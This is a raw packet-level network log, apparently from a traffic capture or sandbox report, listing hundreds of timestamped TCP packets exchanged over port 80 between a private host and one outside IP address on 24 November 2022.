Nov 24, 2022 13:27:53.133932114 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.133944988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.133975029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134005070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134035110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134058952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.134058952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.134069920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134110928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134121895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.134140968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134170055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134210110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134226084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.134253979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134267092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.134614944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134648085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134675980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134701967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.134702921 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134732962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134732962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.134761095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134788036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134816885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134819031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.134843111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134843111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.134871960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134922981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134927988 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.134957075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.134975910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.134985924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135015011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135041952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135065079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.135067940 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135083914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.135093927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135121107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135147095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135171890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135171890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.135193110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.135200024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135421038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135447979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135473967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135478020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.135500908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135502100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.135529041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135549068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.135555983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135585070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135616064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135638952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.135643005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135660887 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.135814905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135843039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135870934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135898113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135907888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.135924101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135926008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.135951996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.135978937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.135979891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.136007071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.136034966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.136056900 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.136061907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.136075974 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.136089087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.136116028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.136146069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.136168003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.136173010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.136195898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.136200905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.136229038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.136254072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.136281967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.136308908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.136308908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.136328936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.136336088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.136362076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.136363029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.136389971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.136411905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.137245893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137274981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137351990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137365103 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.137379885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137408018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137411118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.137456894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137482882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137507915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.137511015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137537956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137540102 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.137563944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137590885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137617111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137619972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.137645006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137648106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.137672901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137701035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137727976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137729883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.137749910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.137756109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137780905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137808084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137834072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.137841940 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137861967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.137876034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137902021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.137952089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.138142109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138168097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138194084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138196945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.138220072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138247013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138273001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138274908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.138294935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.138319969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138348103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138375998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138396025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.138405085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138421059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.138432980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138479948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138519049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138533115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.138571978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138573885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.138612986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138653040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138664961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.138695955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138736963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138776064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138786077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.138816118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138824940 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.138859034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138870955 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.138916016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.138917923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.138962030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139000893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139043093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139056921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.139086008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139091969 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.139128923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139170885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139223099 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.139410973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139436960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139463902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139463902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.139489889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139516115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139542103 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.139544964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139566898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.139570951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139597893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139624119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139648914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139676094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139676094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.139676094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.139702082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139727116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139750004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.139755011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139770031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.139780998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139807940 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139833927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139854908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.139858961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139877081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.139884949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139940023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139966011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.139992952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.139993906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140019894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140022039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.140204906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140239000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140260935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.140269041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140285969 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.140295982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140324116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140372992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.140394926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140420914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140444994 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.140449047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140475988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140501976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140537024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140539885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.140539885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.140563011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140567064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.140590906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140618086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140640974 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.140644073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140661001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.140671968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140697956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140724897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140743971 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.140752077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140770912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.140779018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140808105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140832901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140849113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.140861034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140872002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.140872002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.140887976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140916109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140935898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.140944004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140970945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.140997887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141011953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.141026020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141031981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.141050100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.141052961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141079903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141105890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141110897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.141110897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.141155005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.141266108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141293049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141319036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141346931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141346931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.141372919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141400099 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141418934 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.141426086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141454935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141458035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.141480923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141509056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141531944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.141536951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141550064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.141565084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141592979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141621113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141644955 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.141648054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141664982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.141675949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141710997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141736984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141758919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.141763926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141787052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.141789913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141817093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141844034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141868114 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.141871929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.141885996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.142471075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.142502069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.142532110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.142568111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.142590046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.142595053 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.142618895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.142647982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.142676115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.142677069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.142705917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.142733097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.142755032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.142760992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.142774105 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.142787933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.142816067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.142843008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.142868042 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.142870903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.142904997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.142927885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.142966986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143007040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143023014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143054008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143062115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143096924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143125057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143152952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143173933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143181086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143198013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143208027 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143234968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143260956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143286943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143306017 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143311977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143326998 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143340111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143366098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143390894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143393040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143409014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.143419981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143448114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143475056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.143496990 CET	49702	80	192.168.2.4	66.235.200.147
